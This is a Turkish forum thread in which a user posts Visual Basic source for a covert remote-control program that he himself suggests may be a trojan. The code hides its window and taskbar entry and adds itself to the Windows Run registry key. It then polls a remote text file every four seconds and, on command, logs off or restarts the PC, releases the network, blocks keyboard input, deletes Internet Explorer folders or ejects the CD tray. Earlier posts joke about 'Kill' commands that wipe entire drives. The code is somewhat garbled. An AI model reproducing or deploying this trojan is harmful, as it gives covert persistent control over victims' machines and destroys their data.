Kill "C:\" Kill "D:\" Bu kodları sil boşuna yazma Onlar çalışmayacak çünkü Hem bu sistem WİN 98 mi de direk işletim sistemini bir çırpıda silebileceksiniz

bende uyandıgımda okudum ) ikinizede tesekürler

Yaf duzenleyin gecenin korunde uykulu uykuluyazdım

Ben de gecenin bir vaktinde uykulu uykulu söyledim sana bu lafı Hatta daha uyumadım

Private Declare Function BlockInput Lib "user32" As Long Private Sub Form_Load Timer1. Interval = 4000 Me. Hide App. TaskVisible = False Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" End Sub Private Sub Timer1_Timer Dim kontrol kontrol = Inet1. openurl Select Case kontrol Case "CDAC" mciExecute On Error Resume Next Case "CDKAPA" mciExecute On Error Resume Next Case "yenidenbaslat" Shell "shutdown -l -t 20", vbHide On Error Resume Next Case "kapat" Shell "shutdown -r -t 20", vbHide On Error Resume Next Case "sendkeys" SendKeys "By Asiatico", 1 On Error Resume Next Case "baglanti" Shell "ipconfig /release" On Error Resume Next Case "klavyeblock" BlockInput True On Error Resume Next Case "mouseblocked" SendKeys " " On Error Resume Next Case " Kill" Kill "C:\Program Files\Internet Explorer" Kill "D:\Program Files\Internet Explorer" On Error Resume Next Case "explorer" Shell "explorer http://www.google.com" On Error Resume Next End Select End Sub '''Codec BY Asiatico Arkadaslar bu artık ismine dersiniz trojanmı dersiniz yoksa başka birşeymi dersiniz bilemiyecem Program her 4 saniyede 1 asiatico. txt dosyasını denetliyor eğer asiotico dosyasına "CDAC" yazarsanız ve upload ederseniz adrese programı acnaın cd rom'u acılır mantıgı kapmışsınızdır umarım -